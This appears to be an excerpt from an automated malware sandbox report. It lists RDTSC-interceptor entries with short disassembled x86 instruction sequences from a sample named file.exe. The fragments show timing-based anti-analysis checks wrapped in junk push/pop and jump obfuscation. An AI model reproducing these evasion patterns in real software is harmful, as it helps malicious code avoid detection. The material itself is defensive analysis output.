Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B47D second address: 125B489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B489 second address: 125B48D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125B48D second address: 125B4A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A77CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125DC63 second address: 125DC67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E706 second address: 125E70C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E70C second address: 125E710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E7B4 second address: 125E7B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125FD9A second address: 125FE0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A2E68h 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F39A52A2E67h 0x00000011 nop 0x00000012 mov esi, dword ptr [ebp+122D24BCh] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F39A52A2E58h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 push 00000000h 0x00000036 mov esi, dword ptr [ebp+122D3BDEh] 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 je 00007F39A52A2E56h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125FE0E second address: 125FE18 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F39A52A77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126121F second address: 1261229 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F39A52A2E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261008 second address: 1261036 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F39A52A77CEh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F39A52A77D7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261229 second address: 126125F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b sub esi, 2E2515F4h 0x00000011 push 00000000h 0x00000013 je 00007F39A52A2E5Ch 0x00000019 mov dword ptr [ebp+1246BBC4h], ecx 0x0000001f push 00000000h 0x00000021 mov edi, dword ptr [ebp+1245B8A0h] 0x00000027 xchg eax, ebx 0x00000028 jo 00007F39A52A2E64h 0x0000002e push eax 0x0000002f push edx 0x00000030 jng 00007F39A52A2E56h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12638EB second address: 12638EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12657CD second address: 1265809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jg 00007F39A52A2E5Ch 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D37D1h], eax 0x00000015 push 00000000h 0x00000017 and ebx, dword ptr [ebp+122D3B3Eh] 0x0000001d push 00000000h 0x0000001f mov dword ptr [ebp+122D3045h], edx 0x00000025 xchg eax, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F39A52A2E5Eh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1264A2D second address: 1264A37 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F39A52A77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265809 second address: 126582B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F39A52A2E61h 0x00000008 jl 00007F39A52A2E56h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126582B second address: 126583A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jo 00007F39A52A77CCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265925 second address: 1265929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265929 second address: 1265949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F39A52A77D0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265949 second address: 1265A13 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F39A52A2E66h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F39A52A2E58h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 push dword ptr fs:[00000000h] 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007F39A52A2E58h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 00000014h 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 movsx ebx, si 0x0000004a mov ebx, dword ptr [ebp+122D39DEh] 0x00000050 mov dword ptr fs:[00000000h], esp 0x00000057 call 00007F39A52A2E65h 0x0000005c mov dword ptr [ebp+122D1A70h], eax 0x00000062 pop edi 0x00000063 mov eax, dword ptr [ebp+122D0E41h] 0x00000069 jmp 00007F39A52A2E64h 0x0000006e push FFFFFFFFh 0x00000070 and di, C8A8h 0x00000075 jmp 00007F39A52A2E5Fh 0x0000007a nop 0x0000007b pushad 0x0000007c jmp 00007F39A52A2E5Bh 0x00000081 push eax 0x00000082 push edx 0x00000083 push eax 0x00000084 push edx 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265A13 second address: 1265A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265A17 second address: 1265A1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265A1B second address: 1265A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007F39A52A77D0h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267A99 second address: 1267AC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A2E68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F39A52A2E5Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267AC6 second address: 1267ACC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126A992 second address: 126A9A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F39A52A2E56h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269C2E second address: 1269C46 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007F39A52A77CBh 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B93C second address: 126B940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B940 second address: 126B952 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F39A52A77C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BA95 second address: 126BA9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F39A52A2E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BB76 second address: 126BBA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A77D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F39A52A77D9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126BBA9 second address: 126BBAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CBF1 second address: 126CC02 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F39A52A77C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CC02 second address: 126CC15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F39A52A2E56h 0x0000000a popad 0x0000000b jnc 00007F39A52A2E5Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E96A second address: 126E96F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E96F second address: 126E98C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A2E63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126DB63 second address: 126DB67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126FA62 second address: 126FA66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126FA66 second address: 126FAD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F39A52A77D4h 0x0000000b popad 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D17EDh], edx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F39A52A77C8h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f jmp 00007F39A52A77D7h 0x00000034 mov di, FE49h 0x00000038 push 00000000h 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126FAD1 second address: 126FAD7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126FAD7 second address: 126FAE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F39A52A77C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271796 second address: 12717C6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F39A52A2E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jc 00007F39A52A2E5Ch 0x00000013 xor ebx, 0369E339h 0x00000019 push 00000000h 0x0000001b sbb di, A4E4h 0x00000020 push 00000000h 0x00000022 movzx ebx, di 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 jo 00007F39A52A2E56h 0x0000002f pop eax 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12729A6 second address: 12729B0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F39A52A77C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275A2A second address: 1275A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275A30 second address: 1275A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275A35 second address: 1275A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1275A3B second address: 1275A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127AC49 second address: 127AC56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A812 second address: 127A81B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280668 second address: 128066E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128066E second address: 1280672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1280672 second address: 1280681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128079B second address: 128079F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128079F second address: 12807A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12807A3 second address: 12807C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F39A52A77D1h 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12807C6 second address: 12807CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1281A79 second address: 1281AA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A77D7h 0x00000007 jp 00007F39A52A77C8h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 je 00007F39A52A77CEh 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12205BD second address: 12205C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1286F47 second address: 1286F4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1286F4B second address: 1286F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1287281 second address: 128728B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F39A52A77C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128C27B second address: 128C2A8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F39A52A2E6Bh 0x00000008 jmp 00007F39A52A2E65h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F39A52A2E5Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219894 second address: 1219898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219898 second address: 12198AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F39A52A2E60h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125785A second address: 12578C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A77D7h 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F39A52A77C8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 xor edx, dword ptr [ebp+122D38DEh] 0x0000002d lea eax, dword ptr [ebp+124895D4h] 0x00000033 mov edi, dword ptr [ebp+122D1A92h] 0x00000039 nop 0x0000003a push esi 0x0000003b jl 00007F39A52A77CCh 0x00000041 ja 00007F39A52A77C6h 0x00000047 pop esi 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12578C6 second address: 12578CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12578CA second address: 12578DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A77CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1257AB7 second address: 1257ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1257ABB second address: 1257ABF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1257EF4 second address: 1257EFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F39A52A2E56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1257EFF second address: 1257F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push ecx 0x0000000d jnl 00007F39A52A77C6h 0x00000013 pop ecx 0x00000014 push esi 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1257F1F second address: 1257F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125801B second address: 1258021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258021 second address: 1258025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12580A9 second address: 12580AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12580AE second address: 12580C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39A52A2E5Ah 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12580C6 second address: 12580CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12580CA second address: 12580D4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F39A52A2E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12580D4 second address: 12580DE instructions: 0x00000000 rdtsc 0x00000002 jns 00007F39A52A77CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12580DE second address: 1258149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xchg eax, esi 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F39A52A2E58h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 jmp 00007F39A52A2E5Bh 0x00000026 mov cx, 209Ch 0x0000002a nop 0x0000002b jc 00007F39A52A2E5Eh 0x00000031 js 00007F39A52A2E58h 0x00000037 push eax 0x00000038 pop eax 0x00000039 push eax 0x0000003a pushad 0x0000003b jmp 00007F39A52A2E5Bh 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F39A52A2E64h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12582A4 second address: 12582A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12582A9 second address: 12582AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12582AF second address: 12582CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F39A52A77D1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12587A2 second address: 12587A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258C81 second address: 1258CC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39A52A77D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub dword ptr [ebp+122D1AC7h], esi 0x00000010 lea eax, dword ptr [ebp+12489618h] 0x00000016 or dx, B510h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F39A52A77D8h 0x00000023 rdtsc
